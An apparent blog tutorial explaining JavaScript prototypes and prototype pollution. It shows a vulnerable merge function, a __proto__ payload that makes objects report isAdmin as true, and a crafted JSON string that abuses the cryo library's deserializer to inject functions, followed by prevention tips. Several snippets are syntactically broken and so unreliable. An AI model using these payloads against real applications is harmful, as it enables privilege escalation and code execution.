Pollution is Everywhere
Tags: javascript, node, blst, blstsecurit
Published: 2022-04-24 14:30:53

>  “Love is in the air but the air is highly polluted” 


JavaScript is a dynamic language. You can attach new properties to an object at any time as shown below.
In javascript an object is simply a collection of key and value pairs, often called properties of that object. For example:
`var myObject = {}; myObject.name = 'John'; myObject.age = 21;`

In the above example, we created an empty object and then attached two new properties to it (name and age).

We can also create new properties on the fly while accessing an object as shown below.
`
var myObject = {}; myObject.name = 'John'; myObject.age = 21; // Let's create a new property using another property myObject['location'] = myObject.name + ' lives in Australia.'; console.log(myObject.location); // Prints "John lives in Australia."`
In the above example, we created a new property location on the fly using another property (name) and then logged its value to console.
In JavaScript, everything is an object. Even functions are objects.

We can create new objects using the Object constructor  as shown below.
 

```
function Person(first, last, age, eyecolor) {
  this.firstName = first;
  this.lastName = last;
  this.age = age;
  this.eyeColor = eyecolor;
  this.isAdmin= false;
}

const myFather = new Person("John", "Doe", 50, "blue");
const myMother = new Person("Sally", "Rally", 48, "green");

```
 

In the above code, we created a new object( an instance) using the Person constructor function.
So we know that we  can add new properties to an specific instances but we can not add a new property to an existing object constructor (a constructor is a method to instantiate new objects).
In order to add a new property , we must add it to the constructor.
Second way we can add it through the prototype Inheritance.
All objects in JavaScript inherit properties and method from a prototype.

## Prototype

Prototype is the blueprint where all objects get their methods, while Object.prototype is on the top of the prototype inheritance chain.


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1pn104vb2dy0ndc64yz8.jpg)


In other words the prototype is a property of all JavaScript objects that refers to the object upon which the property was accessed.
To add new properties or new method to an object constructor use this following syntax:

 `Person.prototype.nationality = "English";`
`Person.prototype.details= function(){ return this.FirstName + this.age;};`
 

## Prototype Pollution

Prototype pollution occurs when a property is added to the prototype of a built-in object, such as Array.prototype or Object.prototype. This can cause unexpected behavior when the built-in object is used, since the new property will be present on all instances of the object.
The most commonly example is the following:

`if (user.isAdmin) {   // do something important}`
If we can  modify the  property of Object.prototype, we can manage our object to be always an Admin. 
`Object.prototype.isAdmin = true`

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o7pluhoosgtl7xxmtg24.png)

Imagine a JS code like the following one :

```
function merge(target, source) {
    for (let key in source){
        if(is Object(target[key] && isObject(source[key])){
           merge(target[key], source[key]);
        }
        else { target[key] = source[key];} 
    }
    return target;
}
```
We can see that the function iterate over the object and clone all properties from the source to the target.
This is seems to be an unsuspecting code but it still vulnerable to population.

```
{
"firstname":"Nathan",
"age":"26",
  "__proto__ ": {
    "isAdmin": "true"
  }
}
```
After merge has been executed,it is not going to overwrite the original proto but instead it going to create his property then  we will be able to set Person.__proto__.isAdmin (i.e. Object.prototype.polluted) to "true"

## REAL World Example
 
The library cryo used the same previous model. 
Application using this library can be  vulnerable to arbitrary code execution.

Cryo employs square bracket notation to rebuild an object from JSON (obj[key]=value).
As a result, an attacker has the ability to modify the __proto__ attribute of a new object.
Cryo also supports function serialization, so the attacker may define their own methods (toString, valueOf) for the new object.


Let 's analyze this code.
```
var Cryo = require('cryo');
var obj = {
name: 'Hunter',
created: new Date(),
hello: function() {
console.log(this.name + ' said hello in ' +
this.created.getFullYear() + '!');
}
};
var frozen = Cryo.stringify(obj);
var hydrated = Cryo.parse(frozen);
```
The code  will generate the following json code :

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tdytjzn32on1brkb7v30.png)
The object contains two object, root and references.



It implies that if the application later in the code interacts with the new object in a way that results in the activation of the object's prototype functions, then the attacker's malicious code is executed. 
 

```
var Cryo = require('cryo');
var obj = {
testFunc : function() {return 1111;}
};
var frozen = Cryo.stringify(obj);
console.log(frozen)
var hydrated = Cryo.parse(frozen);
console.log(hydrated)

```


```
var obj = {
__proto: {
toString: function() {console.log("test1"); return 1111;},
valueOf: function() {console.log("test1"); return 2222;}
}
};
console.log(hydrated);
```
 Will create the following object:

```
var Cryo = require('cryo');
var frozen = '{"root":"_CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"test1\\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"test1\\");return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT_"},{"contents":{"__proto__":"_CRYO_REF_2"},"value":"_CRYO_OBJECT_"}]}'
var hydrated = Cryo.parse(frozen);
 
```
An attacker will  craft this  JSON file with malicious code which rewrites __proto__ of a new object. In some  it may lead to execution of the code, so the attacker can achieve OS command execution.

## Preventing

There are a few ways to prevent prototype pollution: 

- Use `Object.create(null)` instead of `{}` when creating objects. This will create an object with no prototype, thus no properties will be inherited from the Object prototype.

- Use a `__proto__` getter and setter. This will allow you to control what properties are inherited, and prevent pollution of the prototype.

- Use a library like lodash that provides utilities for creating objects without prototypes.